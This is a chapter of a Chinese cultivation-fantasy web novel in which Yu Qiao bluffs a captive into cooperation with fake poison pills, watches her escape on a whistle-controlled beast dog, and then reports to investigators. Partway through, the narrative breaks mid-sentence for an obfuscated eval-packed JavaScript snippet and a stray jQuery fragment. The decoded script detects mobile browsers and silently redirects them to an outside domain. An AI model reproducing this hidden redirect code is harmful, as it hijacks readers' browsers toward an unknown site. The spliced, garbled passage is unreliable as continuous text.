什么?还有这回事儿?
于樵反应很快,故作惊讶道:“哦?你知道燕王府对我们家商队做过什么?”
“当然知道。”
宋莲雨道:“我对你们于家和燕王府都很关注。燕王府做事虽隐秘,但总会留下痕迹,就算没有确凿证据,猜也能猜出点东西。小时候我爹就说过,我要是去参加科举,未必不能拿个官职使使。”
“只可惜,我还是更喜欢银子。”
于樵压下心中的翻涌。
她没想到爹娘堂姐的死还能跟燕王府扯上关系,若真是如此,就说明燕王府跟阎州叛军和画仙教有牵扯......那事情就更复杂了。
怪不得之前声望不到1000怎么也接不了任务,之后的门槛也一次比一次高,这确实不是一个小家族能掺和的事。
她看向宋莲雨,“那你真是奇怪,若是我不提这事,你看起来也不想提,宁可被术道司抓走……我不明白,找燕王府报仇,多个盟友总比单打独斗好吧?”
宋莲雨嗤笑一声,“因为看你们于家不顺眼啊。燕王府固然恶心,可你们于家又算什么好东西?我巴不得看燕王府把你们灭了。”
于樵忍住一刀抹了宋莲雨脖子的冲动,施展凝水术呲灭了恒温铜炉,随手收回储物袋。
“那现在怎么肯谈了?”
“因为看你还比较顺眼。”
宋莲雨似乎很乐于恶心于樵,“败在你手里,是我小瞧了你们于家的小辈,但我输得起。况且你说得对,我要是死了,之前不就白忙活了?再说了……你现在不是需要我么?”
于樵也说不清需不需要,但未雨绸缪些或许会有奇迹。不过,宋莲雨的命还是要掌握在自己手里的。
她从储物袋里摸出四个药丸子:止血丸、疗伤丸、凡向回给的七日丸、还有她自己平时吃的粉色药丸,递到宋莲雨面前。
“张嘴。”
宋莲雨盯着那几粒药丸,“你给我吃的都是什么?止血丸和疗伤丸的味道我认得......另外两个呢?”
“你记性倒是挺好的,正常人吃药可不记味道。”
“我不信你不记。”
“嗯,我记。”于樵微笑:“没什么好瞒着你的,另外两个是毒药。”
“果然如此。”宋莲雨沉下脸,
“那就吃吧。我能留你一条命,已经是你的幸运了。吃了毒药,怎么想办法解毒是你的事情,但我总得图个安心。”
说完,于樵也不再跟宋莲雨废话,捏着宋莲雨的下巴掰开嘴,把四个药丸全塞了进去,又往她嘴里呲了些水,逼她咽下去。
宋莲雨呛了几口水,咽下药丸,眼神阴狠地看着于樵,“小小年纪手段倒是多,你最好祈祷我别太快找到解药。”
“能很快解毒那是你的本事。”
于樵拿出两颗她平时吃的绿色药丸,继续脸不改色地胡诌:“不想穿肠烂肚的话,就每三天吃一颗这个。其实我劝你还是别随便解毒,这三种毒药彼此相生相克,何时解毒、何时续药,都有讲究。除非你能一次解开三种毒,否则.......”
她笑了笑,“总之,要是那么简单就能解,我们于家也不会在一无所有的时候,就能留下那么多‘忠心’的人。你既然如此关注于家,应该知道于家宅子里有多少藏龙卧虎之辈吧?”
宋莲雨没有接话,但看她的眼神,于樵知道她信了。
“说吧,你都需要我做什么?”宋莲雨问。
嗯……做什么。于樵也不知道做什么。做什么之前,她得先问问祖父,周通判都跟他说了什么,这一切又是怎么回事儿。
于是她回道:“先不急,这种事不是几天就能解决的,况且你身上的伤也得先治。等你躲过术道司的追捕,有本事活下来,就在六日后,去齐氏狩猎行找一个叫赤金的人。”
“她会把该服的药交给你,你只需将所知道的关于燕王府的一切写在纸上递给她。之后该做什么,她自会告诉你。”
“你真诚,我就真诚,情义会在相处中日渐深厚。或许未来某一天,你突然就不想要我的命了,我也同样如此。到那时,我可以给你一大笔钱,再给你弄一份塔拉国的通关文牒。”
通关文牒是有时效的,宋莲雨这份很快就会过期,她先把这饼画上,反正动动嘴皮子的事儿张嘴就来。
宋莲雨思考了一会儿,最终点点头,“可以。不过……齐氏狩猎行?看来那些齐家的生意还真是你在经营啊,先前听到些风声,我还不太信你能接手你爹娘的生意。”
“你得谢谢我,若不是这一两年来我一直忙活如何提升实力,齐氏那些生意,恐怕早就被我抢走大半了。”
“谢谢你。”于樵毫不吝啬地道了声谢,“所以现在你该想想怎么逃出这里了。”
宋莲雨一愣,“你不安排我逃走?”
“说什么呢?”于樵轻笑,“我胆子小,哪敢在术道司眼皮底下安排你逃走。”
宋莲雨气得差点呛了口水,甚至有些不可置信,“没安排你就跟我谈这么多?我以为你是有备而来。”
“那你是真误会了,我怎么可能专门为你而来?”
“这次是同窗邀我查案,恰巧查到你头上而已,我根本不认识你。若不是昨日你见我时神态失常,加上那口井实在奇怪,引起了我的好奇,我也不会注意到你。都是你的错觉。”
“竟是这样……”宋莲雨低声道:“看来我隐藏情绪的本事还远远不够,连你都瞒不过。”
“已经很好了,只是我的心诀特殊。”
于樵感觉再说下去,自己都要信了,她赶紧说回正事。
“所以,你打算怎么逃?我不信你一点后路都没留。跟我说说,力所能及之处,我也许能帮上一把。”
“好吧。”宋莲雨叹了口气,她眼睛扫了一眼后院,问道:“我家后院那条齿犬,你们是把它迷晕了吗?”
果然有后路。于樵点头。
“那齿犬不是一般的齿犬,是我费尽心思买到的,发起狂来,实力不亚于一个脱凡人。你去把它弄醒,我有办法让它带我走。”
原来如此,于樵心里转了个来回,但依旧微笑着道:“那可不行。你不知道?我若是去了后院,多少会留下些气息,术道司的追踪师狗鼻子可灵着呢。若是怀疑到我头上,岂不是得不偿失?”
“你倒是真谨慎。”宋莲雨冷笑,“行,那你到我屋里那盆尖头长叶的草那儿,摘两片叶子总可以吧?”
“可以。”
于樵起身回到正屋,在一片废墟里翻找,很快在一个碎掉半边的花盆里看见了一团尖头长叶的草。
这植物她没见过,叶缘锋利,但无原气波动,似乎只是寻常野草。她心里疑惑,但还是摘了两片,又折了回去,递到宋莲雨面前。
“你按照我的方法,我教你怎么折。”
宋莲雨口述步骤,于樵按照方法反复折叠,最后竟折成一个哨子型。
她好奇地问:“这叶子手感好特别,还能折成这样……这是什么草?”
“锋锋草,早年跑商时,遇见一个擅长驱使异兽的人教的。”宋莲雨语气平淡。
“那时还不知道有脱凡之人的存在,只当是什么奇人异事,出于好奇便学了,花了我不少银子。”她示意于樵将哨子递到自己唇边。
下一刻,一道灌注原气的尖锐哨音响彻宋宅。三声过后,后院传来一阵犬吠。紧接着,一条长着硕大尖齿的黑犬翻过墙头一跃而下——
于樵见状迅速后退,立刻摆出了迎战的姿势。
宋莲雨说道:“放心,若是这哨子这么厉害,我早就操控齿犬与你斗上一斗了。这哨音只能对异兽下达简单指令——跑跳、转向,或是让它叼住人,无法命令它发起攻击。”
于樵闻言凝神细瞧,发现那齿犬确实眼神迷茫,瞳仁上似乎蒙着一层稀薄的原气。
此时宋莲雨又吹出几个短调,齿犬困惑地侧了侧头,慢慢走近,几番尝试才终于叼住宋莲雨后襟。
其间还失口咬了她几下,痛得宋莲雨低声骂了齿犬祖宗十八代。
好不容易叼稳,宋莲雨以一种诡异的姿势回头道:“我不让你沾手,这下术道司应该怀疑不到你头上了。”
说完,她又吹了几声,齿犬眼神一凝,转身便朝院墙外奔去。
只是这样叼着有些不便行动,加上宋莲雨四肢无力垂落,齿犬又不及人高,她身体难免与墙面、地面磕碰摩擦,发出压抑的闷哼,搞得于樵都有些不忍直视了。
不过她还是得盯着那齿犬的身影越来越远,眼睛也越来越亮.....这哨音简直跟乐师御音之道有异曲同工之妙啊。若是配合‘七情诀’,是否会吹出影响异兽情志的哨音?倘若真能吹出战斗指令,岂非成为一大助力?
于樵这样想着,脚步欢快地走回正屋,把一整盆锋锋草都收进了储物袋,然后转身奔向后院,一边跑一边喊道:“小小!小小!不好了——宋莲雨逃了!”
半个时辰后,宋宅里已满是术道司与辰和县衙的人。
辰和县尉领着手下,屁颠屁颠地抄家、押送抬走那些被卸了手脚的宋宅下人。术道司的人则是施展起隔音术,细细询问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806371|204108||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
于樵和张小小。
有张小小事先将地下石室里有关脱凡人的东西整理收集起来,确实给术道司省了不少事儿,连那几具骨头架子和尸体,也被她背了出来。
脱凡人查案就是任性,根本不需要保留现场。
凡向回也跟着回来了,宋宅这场面显然给他吓得不轻,他一边心有余悸地在那几具尸骨间来回扫视,一边见缝插针地问:“到底是怎么回事?不是说好了等术道司的人来了再说吗?怎么自己动手了?为什么不等我?”
术道司此番来了四人,领头的张六、一位气质宛如话本子里宗门大师姐的术师、以及两位有些拘谨,似乎刚成年的见习术师。
宛如宗门大师姐的术师是个治疗师,举止沉稳可靠,动作温柔,只是不爱说话,手中治疗术接连不断落在于樵身上。
于樵觉得好受很多,连连道谢,“多谢这位大人。”
“不客气。”
这一开口,于樵发现不对劲来,这位治疗师声线偏粗,明朗有力,喉结明显,分明……是个男术师!
脱凡人的世界果然是精彩啊……于樵极力掩饰自己的吃惊,但还是忍不住多看了他几眼。一旁的凡向回噗嗤一声没忍住笑,偷偷凑在她耳边小声道:“这是苏渠,治疗师,男的,触觉通窍。”
苏渠笑得温柔,“我们是见过的。除夕前日你被歹徒所伤,我去你们于家为你疗过伤,当时你对我颇为冷淡。”
原来是他施展的治疗术,于樵歉意顿生。
“抱歉,那日我不太清醒。”
苏渠摆摆手表示不在意,治完于樵便转头去研究史文栋的遗体了。
苏渠初见史文栋遗体时,还曾落下几滴泪,可此时他神情却颇为兴奋,就地开始验尸。
看来他不仅是治疗师,还能兼职仵作。
身体舒适了,于樵也将她在宋宅经历的事讲了个七七八八,宋莲雨后面交代的很清楚,案情也没什么可隐瞒的,只是杀张管事这里需要“交代”一下心路历程,但问题也不大,张六说,按照这个案子的恶劣程度,宋莲雨身边比较亲近的下人,都逃不了被砍头的结局。
脱凡人太过千奇百怪,所以律法也没有凡人的那么严明,于樵这个根本不算个事儿。
起来总觉得自己变成了法外之徒。
凡向回在一旁听完一整个事情经过,连连感叹,“天哪……刚脱凡不久,竟徒手破了这样一桩大案。唉,我或许真不适合当术师。”
他看着似乎有点信念崩塌,但转头又振作起来,“无妨,我可以学。笨鸟先飞不了,靠着毅力也是能到终点的。”
于樵给他竖了个大拇指,随后看向术道司几人,对着张六道:
“抱歉,我没想到宋莲雨的软垫里竟藏着事先折好的叶哨。我看她实在是太难受,才心软拿了垫子给她垫着。”
“不怪你。”
张六摇摇头,“这种还有异兽血统的畜牲,既然都迷晕了,就该直接杀掉,留着一条命让宋莲雨钻了这种空子,也实属正常。”
张小小低着头,道了一声:“是我的错,以后绝不会再犯。”
于樵心中不由得一阵愧疚,天哪,这张氏到底是什么家族?好严厉!难怪卸人手脚都不眨眼。
张六点点头,看向于樵,语气平静地说道:“你放心,一会儿会有追踪师来进行追踪,宋莲雨一定逃不掉,你不用担心她日后会来取你性命。”
于樵感激地点点头,有些自嘲地说道:“没关系,想取我命的人挺多的,也不差这一个了。”
心里却想着,也不知道这宋莲雨有没有本事逃过。若是被抓了,可别把自己供出来。
追踪师来得比预想中快。让于樵意外的是,这所谓的追踪师,居然是个熟人——父亲的友人,李衡德李先生。
又是个身兼数职的术师啊……
他一进门便直奔于樵而来,看起来颇为焦急,目光在她身上前前后后扫了三遍,确认无碍后,转头把凡向回骂了一顿。
张六有些意外地看了他几眼,问道:“李先生,这是认识于四姑娘?”
“是,她是我一位故人之女。”
李先生缓了口气,“先前听说她进了书院明辉堂,我还颇觉意外,本想今日见到她多叮嘱她几句,哪知去了明辉堂发现人不在,还被那允氏兄妹俩糊弄了半天……没想到竟出了这等事。”
“是我对书院弟子管教疏忽,回头我就回司里请罚。”
当天傍晚,一路从琳琅县赶回术道司汇报案情的林唐被告知,他汇报的案子被破了。
林唐:?